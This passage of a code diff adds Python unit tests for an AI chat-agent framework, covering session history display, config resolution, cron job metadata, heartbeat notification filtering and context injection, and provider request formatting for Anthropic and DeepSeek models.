|
||||
{"role": "tool", "content": "tool result"}, # should be filtered out
|
||||
{"role": "user", "content": "How are you?"},
|
||||
{"role": "assistant", "content": "I am doing well."},
|
||||
]
|
||||
loop.sessions.get_or_create.return_value = session
|
||||
|
||||
msg = InboundMessage(channel="telegram", sender_id="u1", chat_id="c1", content="/history")
|
||||
response = await loop._process_message(msg)
|
||||
|
||||
assert response is not None
|
||||
assert "👤 You: Hello" in response.content
|
||||
assert "🤖 Bot: Hi there!" in response.content
|
||||
assert "tool result" not in response.content # tool messages filtered
|
||||
assert response.metadata == {"render_as": "text"}
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_history_respects_count_argument(self):
|
||||
loop, _bus = _make_loop()
|
||||
session = MagicMock()
|
||||
session.get_history.return_value = [
|
||||
{"role": "user", "content": f"message {i}"} for i in range(20)
|
||||
]
|
||||
loop.sessions.get_or_create.return_value = session
|
||||
|
||||
msg = InboundMessage(channel="telegram", sender_id="u1", chat_id="c1", content="/history 3")
|
||||
response = await loop._process_message(msg)
|
||||
|
||||
assert response is not None
|
||||
assert "Last 3 message(s)" in response.content
|
||||
assert "message 19" in response.content # most recent
|
||||
assert "message 0" not in response.content # too old
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_history_clamps_count_and_extracts_text_blocks(self):
|
||||
loop, _bus = _make_loop()
|
||||
session = MagicMock()
|
||||
session.get_history.return_value = [
|
||||
{
|
||||
"role": "user",
|
||||
"content": [
|
||||
{"type": "text", "text": "visible text"},
|
||||
{"type": "image_url", "image_url": {"url": "data:image/png;base64,..."}},
|
||||
],
|
||||
},
|
||||
*({"role": "assistant", "content": f"reply {i}"} for i in range(60)),
|
||||
]
|
||||
loop.sessions.get_or_create.return_value = session
|
||||
|
||||
msg = InboundMessage(channel="telegram", sender_id="u1", chat_id="c1", content="/history 999")
|
||||
response = await loop._process_message(msg)
|
||||
|
||||
assert response is not None
|
||||
assert "Last 50 message(s)" in response.content
|
||||
assert "visible text" not in response.content
|
||||
assert "reply 59" in response.content
|
||||
assert "reply 9" not in response.content
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_history_invalid_count_returns_usage(self):
|
||||
loop, _bus = _make_loop()
|
||||
|
||||
msg = InboundMessage(channel="telegram", sender_id="u1", chat_id="c1", content="/history nope")
|
||||
response = await loop._process_message(msg)
|
||||
|
||||
assert response is not None
|
||||
assert response.content.startswith("Usage: /history [count]")
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_history_empty_session(self):
|
||||
loop, _bus = _make_loop()
|
||||
session = MagicMock()
|
||||
session.get_history.return_value = []
|
||||
loop.sessions.get_or_create.return_value = session
|
||||
|
||||
msg = InboundMessage(channel="telegram", sender_id="u1", chat_id="c1", content="/history")
|
||||
response = await loop._process_message(msg)
|
||||
|
||||
assert response is not None
|
||||
assert "No conversation history yet." in response.content
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_process_direct_preserves_render_metadata(self):
|
||||
loop, _bus = _make_loop()
|
||||
|
||||
@@ -80,3 +80,50 @@ class TestResolveConfig:
|
||||
|
||||
saved = json.loads(config_path.read_text(encoding="utf-8"))
|
||||
assert saved["channels"]["telegram"]["token"] == "${MY_TOKEN}"
|
||||
|
||||
def test_preserves_excluded_fields_when_no_env_refs(self, tmp_path):
|
||||
"""Regression: fields with ``exclude=True`` (e.g. DreamConfig.cron)
|
||||
must survive ``resolve_config_env_vars`` when the config has no
|
||||
``${VAR}`` references. Previously the unconditional dump→revalidate
|
||||
roundtrip silently dropped them."""
|
||||
config_path = tmp_path / "config.json"
|
||||
config_path.write_text(
|
||||
json.dumps(
|
||||
{"agents": {"defaults": {"dream": {"cron": "5 11 * * *"}}}}
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
raw = load_config(config_path)
|
||||
assert raw.agents.defaults.dream.cron == "5 11 * * *"
|
||||
|
||||
resolved = resolve_config_env_vars(raw)
|
||||
assert resolved.agents.defaults.dream.cron == "5 11 * * *"
|
||||
assert resolved.agents.defaults.dream.describe_schedule() == (
|
||||
"cron 5 11 * * * (legacy)"
|
||||
)
|
||||
|
||||
def test_preserves_excluded_fields_with_env_refs(self, tmp_path, monkeypatch):
|
||||
"""Excluded fields must also survive when the config contains
|
||||
``${VAR}`` refs elsewhere. An in-place walk preserves the legacy
|
||||
``cron`` override even as unrelated string fields are substituted."""
|
||||
monkeypatch.setenv("TEST_API_KEY", "resolved-key")
|
||||
config_path = tmp_path / "config.json"
|
||||
config_path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"agents": {"defaults": {"dream": {"cron": "5 11 * * *"}}},
|
||||
"providers": {"groq": {"apiKey": "${TEST_API_KEY}"}},
|
||||
}
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
raw = load_config(config_path)
|
||||
resolved = resolve_config_env_vars(raw)
|
||||
|
||||
assert resolved.providers.groq.api_key == "resolved-key"
|
||||
assert resolved.agents.defaults.dream.cron == "5 11 * * *"
|
||||
assert resolved.agents.defaults.dream.describe_schedule() == (
|
||||
"cron 5 11 * * * (legacy)"
|
||||
)
|
||||
|
||||
@@ -43,6 +43,59 @@ def test_add_job_accepts_valid_timezone(tmp_path) -> None:
|
||||
assert job.state.next_run_at_ms is not None
|
||||
|
||||
|
||||
def test_add_job_preserves_channel_meta_and_session_key(tmp_path) -> None:
|
||||
service = CronService(tmp_path / "cron" / "jobs.json")
|
||||
meta = {"slack": {"thread_ts": "1234567890.123456", "channel_type": "channel"}}
|
||||
job = service.add_job(
|
||||
name="thread test",
|
||||
schedule=CronSchedule(kind="every", every_ms=60_000),
|
||||
message="hello",
|
||||
deliver=True,
|
||||
channel="slack",
|
||||
to="C123",
|
||||
channel_meta=meta,
|
||||
session_key="slack:C123:1234567890.123456",
|
||||
)
|
||||
assert job.payload.channel_meta == meta
|
||||
assert job.payload.session_key == "slack:C123:1234567890.123456"
|
||||
|
||||
reloaded = service.get_job(job.id)
|
||||
assert reloaded is not None
|
||||
assert reloaded.payload.channel_meta == meta
|
||||
assert reloaded.payload.session_key == "slack:C123:1234567890.123456"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_channel_meta_and_session_key_survive_store_reload(tmp_path) -> None:
|
||||
store_path = tmp_path / "cron" / "jobs.json"
|
||||
service = CronService(store_path)
|
||||
await service.start()
|
||||
meta = {"slack": {"thread_ts": "1234567890.123456", "channel_type": "channel"}}
|
||||
try:
|
||||
job = service.add_job(
|
||||
name="thread test",
|
||||
schedule=CronSchedule(kind="every", every_ms=60_000),
|
||||
message="hello",
|
||||
deliver=True,
|
||||
channel="slack",
|
||||
to="C123",
|
||||
channel_meta=meta,
|
||||
session_key="slack:C123:1234567890.123456",
|
||||
)
|
||||
finally:
|
||||
service.stop()
|
||||
|
||||
raw = json.loads(store_path.read_text(encoding="utf-8"))
|
||||
payload = raw["jobs"][0]["payload"]
|
||||
assert payload["channelMeta"] == meta
|
||||
assert payload["sessionKey"] == "slack:C123:1234567890.123456"
|
||||
|
||||
reloaded = CronService(store_path).get_job(job.id)
|
||||
assert reloaded is not None
|
||||
assert reloaded.payload.channel_meta == meta
|
||||
assert reloaded.payload.session_key == "slack:C123:1234567890.123456"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_execute_job_records_run_history(tmp_path) -> None:
|
||||
store_path = tmp_path / "cron" / "jobs.json"
|
||||
|
||||
@@ -382,6 +382,21 @@ def test_add_job_empty_message_returns_actionable_error(tmp_path) -> None:
|
||||
assert "Retry including message=" in result
|
||||
|
||||
|
||||
def test_add_job_captures_metadata_and_session_key(tmp_path) -> None:
|
||||
"""CronTool stores channel metadata and session_key when adding a job."""
|
||||
tool = _make_tool(tmp_path)
|
||||
meta = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
|
||||
tool.set_context("slack", "C99", metadata=meta, session_key="slack:C99:111.222")
|
||||
|
||||
result = tool._add_job("test", "say hi", 60, None, None, None)
|
||||
assert "Created job" in result
|
||||
|
||||
jobs = tool._cron.list_jobs()
|
||||
assert len(jobs) == 1
|
||||
assert jobs[0].payload.channel_meta == meta
|
||||
assert jobs[0].payload.session_key == "slack:C99:111.222"
|
||||
|
||||
|
||||
def test_list_excludes_disabled_jobs(tmp_path) -> None:
|
||||
tool = _make_tool(tmp_path)
|
||||
job = tool._cron.add_job(
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
"""Tests for heartbeat context bridge — injecting delivered messages into channel session."""
|
||||
|
||||
from nanobot.session.manager import SessionManager
|
||||
|
||||
|
||||
class TestHeartbeatContextBridge:
|
||||
"""Verify that on_heartbeat_notify injects the assistant message into the
|
||||
channel session so user replies have conversational context."""
|
||||
|
||||
def test_notify_injects_into_channel_session(self, tmp_path):
|
||||
"""After notify, the target channel session should contain the
|
||||
heartbeat response as an assistant turn."""
|
||||
session_mgr = SessionManager(tmp_path / "sessions")
|
||||
target_key = "telegram:12345"
|
||||
|
||||
# Simulate: session exists with one user message
|
||||
target_session = session_mgr.get_or_create(target_key)
|
||||
target_session.add_message("user", "hello earlier")
|
||||
session_mgr.save(target_session)
|
||||
|
||||
# Simulate what on_heartbeat_notify does
|
||||
target_session = session_mgr.get_or_create(target_key)
|
||||
target_session.add_message(
|
||||
"assistant",
|
||||
"3 new emails — invoice, meeting, proposal.",
|
||||
_channel_delivery=True,
|
||||
)
|
||||
session_mgr.save(target_session)
|
||||
|
||||
# Reload and verify
|
||||
reloaded = session_mgr.get_or_create(target_key)
|
||||
messages = reloaded.get_history(max_messages=0)
|
||||
roles = [m["role"] for m in messages]
|
||||
assert roles == ["user", "assistant"]
|
||||
assert "3 new emails" in messages[-1]["content"]
|
||||
|
||||
def test_reply_after_injection_has_context(self, tmp_path):
|
||||
"""Simulates the full flow: prior conversation exists, heartbeat
|
||||
injects, then user replies. The session should have the heartbeat
|
||||
message visible in get_history so the model sees the context."""
|
||||
session_mgr = SessionManager(tmp_path / "sessions")
|
||||
target_key = "telegram:12345"
|
||||
|
||||
# Pre-existing conversation (user has chatted before)
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message("user", "Hey")
|
||||
session.add_message("assistant", "Hi there!")
|
||||
session_mgr.save(session)
|
||||
|
||||
# Step 1: heartbeat injects assistant message
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message(
|
||||
"assistant",
|
||||
"If you want, I can mark that email as read.",
|
||||
_channel_delivery=True,
|
||||
)
|
||||
session_mgr.save(session)
|
||||
|
||||
# Step 2: user replies "Sure"
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message("user", "Sure")
|
||||
session_mgr.save(session)
|
||||
|
||||
# Verify: get_history includes the heartbeat injection
|
||||
reloaded = session_mgr.get_or_create(target_key)
|
||||
history = reloaded.get_history(max_messages=0)
|
||||
roles = [m["role"] for m in history]
|
||||
assert roles == ["user", "assistant", "assistant", "user"]
|
||||
assert "mark that email" in history[2]["content"]
|
||||
assert history[3]["content"] == "Sure"
|
||||
|
||||
def test_injection_does_not_duplicate_on_existing_history(self, tmp_path):
|
||||
"""If the channel session already has messages, the injection
|
||||
appends cleanly without corruption."""
|
||||
session_mgr = SessionManager(tmp_path / "sessions")
|
||||
target_key = "telegram:12345"
|
||||
|
||||
# Pre-existing conversation
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message("user", "What time is it?")
|
||||
session.add_message("assistant", "It's 2pm.")
|
||||
session.add_message("user", "Thanks")
|
||||
session_mgr.save(session)
|
||||
|
||||
# Heartbeat injects
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message(
|
||||
"assistant",
|
||||
"You have a meeting in 30 minutes.",
|
||||
_channel_delivery=True,
|
||||
)
|
||||
session_mgr.save(session)
|
||||
|
||||
# Verify
|
||||
reloaded = session_mgr.get_or_create(target_key)
|
||||
history = reloaded.get_history(max_messages=0)
|
||||
roles = [m["role"] for m in history]
|
||||
assert roles == ["user", "assistant", "user", "assistant"]
|
||||
assert "meeting in 30 minutes" in history[-1]["content"]
|
||||
|
||||
def test_reply_after_injection_to_empty_session_keeps_context(self, tmp_path):
|
||||
"""A user replying to the first delivered message still sees that context."""
|
||||
session_mgr = SessionManager(tmp_path / "sessions")
|
||||
target_key = "telegram:99999"
|
||||
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message(
|
||||
"assistant",
|
||||
"Weather alert: sandstorm expected at 4pm.",
|
||||
_channel_delivery=True,
|
||||
)
|
||||
session.add_message("user", "Sure")
|
||||
session_mgr.save(session)
|
||||
|
||||
reloaded = session_mgr.get_or_create(target_key)
|
||||
history = reloaded.get_history(max_messages=0)
|
||||
assert len(history) == 2
|
||||
assert history[0]["role"] == "assistant"
|
||||
assert "sandstorm" in history[0]["content"]
|
||||
assert history[1] == {"role": "user", "content": "Sure"}
|
||||
@@ -0,0 +1,230 @@
|
||||
"""Tests for HeartbeatService._is_deliverable and _tick suppression."""
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.heartbeat.service import HeartbeatService
|
||||
from nanobot.providers.base import LLMResponse, ToolCallRequest
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# _is_deliverable unit tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestIsDeliverable:
|
||||
"""Verify the pre-evaluator deliverability filter."""
|
||||
|
||||
def test_normal_report_is_deliverable(self):
|
||||
assert HeartbeatService._is_deliverable(
|
||||
"2 new emails — invoice from Zain, meeting rescheduled to 3pm."
|
||||
)
|
||||
|
||||
def test_short_dismissal_is_deliverable(self):
|
||||
assert HeartbeatService._is_deliverable("All clear.")
|
||||
|
||||
def test_finalization_fallback_blocked(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"I completed the tool steps but couldn't produce a final answer. "
|
||||
"Please try again or narrow the task."
|
||||
)
|
||||
|
||||
def test_leaked_heartbeat_md_reference_blocked(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"Yes — HEARTBEAT.md has active tasks listed. They are: "
|
||||
"Check Gmail for important messages, Check Calendar."
|
||||
)
|
||||
|
||||
def test_leaked_awareness_md_reference_blocked(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"I reviewed AWARENESS.md and found no new signals."
|
||||
)
|
||||
|
||||
def test_leaked_judgment_call_blocked(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"Best judgment call: stay quiet."
|
||||
)
|
||||
|
||||
def test_leaked_decision_logic_blocked(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"Strict HEARTBEAT interpretation. Decision logic says SHORT UPDATE."
|
||||
)
|
||||
|
||||
def test_leaked_valid_options_blocked(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"The valid options are FULL REPORT, SHORT UPDATE, or SILENT."
|
||||
)
|
||||
|
||||
def test_leaked_my_instructions_blocked(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"My instructions say to check Gmail and Calendar."
|
||||
)
|
||||
|
||||
def test_leaked_supposed_to_blocked(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"I am supposed to scan for urgent emails."
|
||||
)
|
||||
|
||||
def test_case_insensitive(self):
|
||||
assert not HeartbeatService._is_deliverable(
|
||||
"HEARTBEAT.MD has tasks listed."
|
||||
)
|
||||
|
||||
def test_empty_string_is_deliverable(self):
|
||||
"""Empty string won't reach _is_deliverable in practice (caught earlier),
|
||||
but should not crash."""
|
||||
assert HeartbeatService._is_deliverable("")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# _tick integration: non-deliverable responses never reach evaluator/notify
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_tick_suppresses_finalization_fallback(tmp_path, monkeypatch) -> None:
|
||||
"""Finalization fallback should be caught before the evaluator runs."""
|
||||
(tmp_path / "HEARTBEAT.md").write_text("- [ ] check inbox", encoding="utf-8")
|
||||
|
||||
from nanobot.providers.base import LLMProvider
|
||||
|
||||
class StubProvider(LLMProvider):
|
||||
async def chat(self, **kwargs) -> LLMResponse:
|
||||
return LLMResponse(
|
||||
content="",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="hb_1", name="heartbeat",
|
||||
arguments={"action": "run", "tasks": "check inbox"},
|
||||
)
|
||||
],
|
||||
)
|
||||
|
||||
def get_default_model(self) -> str:
|
||||
return "test-model"
|
||||
|
||||
notified: list[str] = []
|
||||
evaluator_called = False
|
||||
|
||||
async def _on_execute(tasks: str) -> str:
|
||||
return (
|
||||
"I completed the tool steps but couldn't produce a final answer. "
|
||||
"Please try again or narrow the task."
|
||||
)
|
||||
|
||||
async def _on_notify(response: str) -> None:
|
||||
notified.append(response)
|
||||
|
||||
async def _eval_always_notify(*a, **kw):
|
||||
nonlocal evaluator_called
|
||||
evaluator_called = True
|
||||
return True
|
||||
|
||||
monkeypatch.setattr("nanobot.utils.evaluator.evaluate_response", _eval_always_notify)
|
||||
|
||||
service = HeartbeatService(
|
||||
workspace=tmp_path,
|
||||
provider=StubProvider(),
|
||||
model="test-model",
|
||||
on_execute=_on_execute,
|
||||
on_notify=_on_notify,
|
||||
)
|
||||
|
||||
await service._tick()
|
||||
|
||||
assert notified == [], "Finalization fallback should not reach the user"
|
||||
assert not evaluator_called, "Evaluator should not be called for non-deliverable responses"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_tick_suppresses_leaked_reasoning(tmp_path, monkeypatch) -> None:
|
||||
"""Leaked internal reasoning should be caught before the evaluator runs."""
|
||||
(tmp_path / "HEARTBEAT.md").write_text("- [ ] check status", encoding="utf-8")
|
||||
|
||||
from nanobot.providers.base import LLMProvider
|
||||
|
||||
class StubProvider(LLMProvider):
|
||||
async def chat(self, **kwargs) -> LLMResponse:
|
||||
return LLMResponse(
|
||||
content="",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="hb_1", name="heartbeat",
|
||||
arguments={"action": "run", "tasks": "check status"},
|
||||
)
|
||||
],
|
||||
)
|
||||
|
||||
def get_default_model(self) -> str:
|
||||
return "test-model"
|
||||
|
||||
notified: list[str] = []
|
||||
|
||||
async def _on_execute(tasks: str) -> str:
|
||||
return "HEARTBEAT.md has active tasks listed. They are: Check Gmail."
|
||||
|
||||
async def _on_notify(response: str) -> None:
|
||||
notified.append(response)
|
||||
|
||||
async def _eval_always_notify(*a, **kw):
|
||||
return True
|
||||
|
||||
monkeypatch.setattr("nanobot.utils.evaluator.evaluate_response", _eval_always_notify)
|
||||
|
||||
service = HeartbeatService(
|
||||
workspace=tmp_path,
|
||||
provider=StubProvider(),
|
||||
model="test-model",
|
||||
on_execute=_on_execute,
|
||||
on_notify=_on_notify,
|
||||
)
|
||||
|
||||
await service._tick()
|
||||
|
||||
assert notified == [], "Leaked reasoning should not reach the user"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_tick_delivers_normal_report(tmp_path, monkeypatch) -> None:
|
||||
"""Normal reports should pass through deliverability and evaluator."""
|
||||
(tmp_path / "HEARTBEAT.md").write_text("- [ ] check inbox", encoding="utf-8")
|
||||
|
||||
from nanobot.providers.base import LLMProvider
|
||||
|
||||
class StubProvider(LLMProvider):
|
||||
async def chat(self, **kwargs) -> LLMResponse:
|
||||
return LLMResponse(
|
||||
content="",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="hb_1", name="heartbeat",
|
||||
arguments={"action": "run", "tasks": "check inbox"},
|
||||
)
|
||||
],
|
||||
)
|
||||
|
||||
def get_default_model(self) -> str:
|
||||
return "test-model"
|
||||
|
||||
notified: list[str] = []
|
||||
|
||||
async def _on_execute(tasks: str) -> str:
|
||||
return "3 new emails — client proposal from Zain, invoice, meeting reminder."
|
||||
|
||||
async def _on_notify(response: str) -> None:
|
||||
notified.append(response)
|
||||
|
||||
async def _eval_always_notify(*a, **kw):
|
||||
return True
|
||||
|
||||
monkeypatch.setattr("nanobot.utils.evaluator.evaluate_response", _eval_always_notify)
|
||||
|
||||
service = HeartbeatService(
|
||||
workspace=tmp_path,
|
||||
provider=StubProvider(),
|
||||
model="test-model",
|
||||
on_execute=_on_execute,
|
||||
on_notify=_on_notify,
|
||||
)
|
||||
|
||||
await service._tick()
|
||||
|
||||
assert notified == ["3 new emails — client proposal from Zain, invoice, meeting reminder."]
|
||||
@@ -63,3 +63,23 @@ def test_none_does_not_enable_thinking() -> None:
|
||||
kw = _build(_make_provider(), None)
|
||||
assert "thinking" not in kw
|
||||
assert kw["temperature"] == 0.7
|
||||
|
||||
|
||||
def test_opus_4_7_omits_temperature_adaptive() -> None:
|
||||
kw = _build(_make_provider("claude-opus-4-7"), "adaptive")
|
||||
assert "temperature" not in kw
|
||||
assert kw["thinking"] == {"type": "adaptive"}
|
||||
|
||||
|
||||
def test_opus_4_7_omits_temperature_enabled() -> None:
|
||||
"""Enabled thinking (high) must also omit temperature for opus-4-7."""
|
||||
kw = _build(_make_provider("claude-opus-4-7"), "high", max_tokens=4096)
|
||||
assert "temperature" not in kw
|
||||
assert kw["thinking"]["type"] == "enabled"
|
||||
|
||||
|
||||
def test_opus_4_7_omits_temperature_none() -> None:
|
||||
"""Without thinking, opus-4-7 must still omit temperature (API rejects it)."""
|
||||
kw = _build(_make_provider("claude-opus-4-7"), None)
|
||||
assert "temperature" not in kw
|
||||
assert "thinking" not in kw
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
"""Tests for AnthropicProvider._tool_result_block image_url conversion.
|
||||
|
||||
Regression for: tool results containing OpenAI-format image_url blocks
|
||||
(e.g. from read_file on an image file, via build_image_content_blocks)
|
||||
were passed to Anthropic unconverted, causing silent image drops with a
|
||||
"Non-transient LLM error with image content, retrying without images"
|
||||
warning.
|
||||
"""
|
||||
|
||||
from nanobot.providers.anthropic_provider import AnthropicProvider
|
||||
|
||||
|
||||
def test_tool_result_block_converts_image_url_in_list_content():
|
||||
"""image_url blocks inside tool_result list content must be translated
|
||||
to Anthropic-native image blocks; sibling text blocks pass through."""
|
||||
msg = {
|
||||
"role": "tool",
|
||||
"tool_call_id": "call_1",
|
||||
"content": [
|
||||
{
|
||||
"type": "image_url",
|
||||
"image_url": {"url": "data:image/png;base64,AAAA"},
|
||||
"_meta": {"path": "/tmp/x.png"},
|
||||
},
|
||||
{"type": "text", "text": "(Image file: /tmp/x.png)"},
|
||||
],
|
||||
}
|
||||
block = AnthropicProvider._tool_result_block(msg)
|
||||
|
||||
assert block["type"] == "tool_result"
|
||||
assert block["tool_use_id"] == "call_1"
|
||||
content = block["content"]
|
||||
assert isinstance(content, list)
|
||||
assert content[0] == {
|
||||
"type": "image",
|
||||
"source": {
|
||||
"type": "base64",
|
||||
"media_type": "image/png",
|
||||
"data": "AAAA",
|
||||
},
|
||||
}
|
||||
assert content[1] == {"type": "text", "text": "(Image file: /tmp/x.png)"}
|
||||
|
||||
|
||||
def test_tool_result_block_preserves_string_content():
|
||||
"""String content must be passed through unchanged; the image-conversion
|
||||
path for lists must not affect the string path."""
|
||||
msg = {
|
||||
"role": "tool",
|
||||
"tool_call_id": "call_2",
|
||||
"content": "plain tool output",
|
||||
}
|
||||
block = AnthropicProvider._tool_result_block(msg)
|
||||
|
||||
assert block["type"] == "tool_result"
|
||||
assert block["tool_use_id"] == "call_2"
|
||||
assert block["content"] == "plain tool output"
|
||||
@@ -585,6 +585,81 @@ def test_openai_compat_preserves_message_level_reasoning_fields() -> None:
|
||||
assert sanitized[1]["tool_calls"][0]["extra_content"] == {"google": {"thought_signature": "sig"}}
|
||||
|
||||
|
||||
def _deepseek_kwargs(messages: list[dict]) -> dict:
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider(
|
||||
api_key="sk-test",
|
||||
default_model="deepseek-v4-flash",
|
||||
spec=find_by_name("deepseek"),
|
||||
)
|
||||
|
||||
return provider._build_kwargs(
|
||||
messages=messages,
|
||||
tools=None,
|
||||
model="deepseek-v4-flash",
|
||||
max_tokens=1024,
|
||||
temperature=0.7,
|
||||
reasoning_effort="high",
|
||||
tool_choice=None,
|
||||
)
|
||||
|
||||
|
||||
def _tool_call(call_id: str) -> dict:
|
||||
return {
|
||||
"id": call_id,
|
||||
"type": "function",
|
||||
"function": {"name": "my", "arguments": "{}"},
|
||||
}
|
||||
|
||||
|
||||
def test_deepseek_thinking_drops_tool_history_missing_reasoning_content() -> None:
|
||||
kwargs = _deepseek_kwargs([
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "can we use wechat?"},
|
||||
{"role": "assistant", "content": "", "tool_calls": [_tool_call("call_bad")]},
|
||||
{"role": "tool", "tool_call_id": "call_bad", "name": "my", "content": "channels"},
|
||||
{"role": "user", "content": "continue"},
|
||||
])
|
||||
|
||||
assert kwargs["messages"] == [
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "continue"},
|
||||
]
|
||||
|
||||
|
||||
def test_deepseek_thinking_keeps_tool_history_with_reasoning_content() -> None:
|
||||
kwargs = _deepseek_kwargs([
|
||||
{"role": "user", "content": "can we use wechat?"},
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "",
|
||||
"reasoning_content": "I should inspect supported channels.",
|
||||
"tool_calls": [_tool_call("call_good")],
|
||||
},
|
||||
{"role": "tool", "tool_call_id": "call_good", "name": "my", "content": "channels"},
|
||||
{"role": "user", "content": "continue"},
|
||||
])
|
||||
|
||||
assistant = kwargs["messages"][1]
|
||||
assert assistant["role"] == "assistant"
|
||||
assert assistant["reasoning_content"] == "I should inspect supported channels."
|
||||
assert kwargs["messages"][2]["role"] == "tool"
|
||||
|
||||
|
||||
def test_deepseek_thinking_drops_current_bad_tool_turn_without_followup_user() -> None:
|
||||
kwargs = _deepseek_kwargs([
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "can we use wechat?"},
|
||||
{"role": "assistant", "content": "", "tool_calls": [_tool_call("call_bad")]},
|
||||
{"role": "tool", "tool_call_id": "call_bad", "name": "my", "content": "channels"},
|
||||
])
|
||||
|
||||
assert kwargs["messages"] == [
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "can we use wechat?"},
|
||||
]
|
||||
|
||||
|
||||
def test_openai_compat_keeps_tool_calls_after_consecutive_assistant_messages() -> None:
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
@@ -785,6 +860,126 @@ def test_byteplus_no_extra_body_when_reasoning_effort_none() -> None:
|
||||
assert "extra_body" not in kw
|
||||
|
||||
|
||||
def test_deepseek_thinking_enabled() -> None:
|
||||
"""DeepSeek V4 requires extra_body.thinking when reasoning_effort is set."""
|
||||
kw = _build_kwargs_for("deepseek", "deepseek-v4-pro", reasoning_effort="high")
|
||||
assert kw["extra_body"] == {"thinking": {"type": "enabled"}}
|
||||
|
||||
|
||||
def test_deepseek_thinking_disabled_for_minimal() -> None:
|
||||
"""reasoning_effort='minimal' must send thinking.type=disabled to DeepSeek."""
|
||||
kw = _build_kwargs_for("deepseek", "deepseek-v4-pro", reasoning_effort="minimal")
|
||||
assert kw["extra_body"] == {"thinking": {"type": "disabled"}}
|
||||
|
||||
|
||||
def test_deepseek_no_extra_body_when_reasoning_effort_none() -> None:
|
||||
"""Without reasoning_effort the thinking param must not be injected."""
|
||||
kw = _build_kwargs_for("deepseek", "deepseek-chat", reasoning_effort=None)
|
||||
assert "extra_body" not in kw
|
||||
|
||||
|
||||
def test_deepseek_backfills_reasoning_content_on_legacy_tool_call_messages() -> None:
|
||||
"""Session messages from before thinking mode was enabled may have assistant
|
||||
messages with tool_calls but no reasoning_content. DeepSeek V4 rejects these
|
||||
with 400. _build_kwargs must backfill reasoning_content='' on them."""
|
||||
spec = find_by_name("deepseek")
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
p = OpenAICompatProvider(api_key="k", default_model="deepseek-v4-pro", spec=spec)
|
||||
messages = [
|
||||
{"role": "user", "content": "search for news"},
|
||||
{"role": "assistant", "content": "", "tool_calls": [
|
||||
{"id": "tc1", "type": "function", "function": {"name": "web_search", "arguments": "{}"}}
|
||||
]},
|
||||
{"role": "tool", "tool_call_id": "tc1", "content": "result"},
|
||||
{"role": "assistant", "content": "Here are the results."},
|
||||
{"role": "user", "content": "hi"},
|
||||
]
|
||||
kw = p._build_kwargs(
|
||||
messages=messages, tools=None, model="deepseek-v4-pro",
|
||||
max_tokens=1024, temperature=0.7,
|
||||
reasoning_effort="high", tool_choice=None,
|
||||
)
|
||||
for msg in kw["messages"]:
|
||||
if msg.get("role") == "assistant":
|
||||
assert "reasoning_content" in msg, "legacy assistant message missing reasoning_content"
|
||||
assert msg["reasoning_content"] == ""
|
||||
|
||||
|
||||
def test_backfill_does_not_touch_messages_when_thinking_off() -> None:
|
||||
"""When reasoning_effort is None or minimal, legacy messages must NOT be altered."""
|
||||
spec = find_by_name("deepseek")
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
p = OpenAICompatProvider(api_key="k", default_model="deepseek-v4-pro", spec=spec)
|
||||
messages = [
|
||||
{"role": "user", "content": "hi"},
|
||||
{"role": "assistant", "content": "", "tool_calls": [
|
||||
{"id": "tc1", "type": "function", "function": {"name": "web_search", "arguments": "{}"}}
|
||||
]},
|
||||
{"role": "tool", "tool_call_id": "tc1", "content": "result"},
|
||||
{"role": "user", "content": "thanks"},
|
||||
]
|
||||
for effort in (None, "minimal"):
|
||||
kw = p._build_kwargs(
|
||||
messages=list(messages), tools=None, model="deepseek-v4-pro",
|
||||
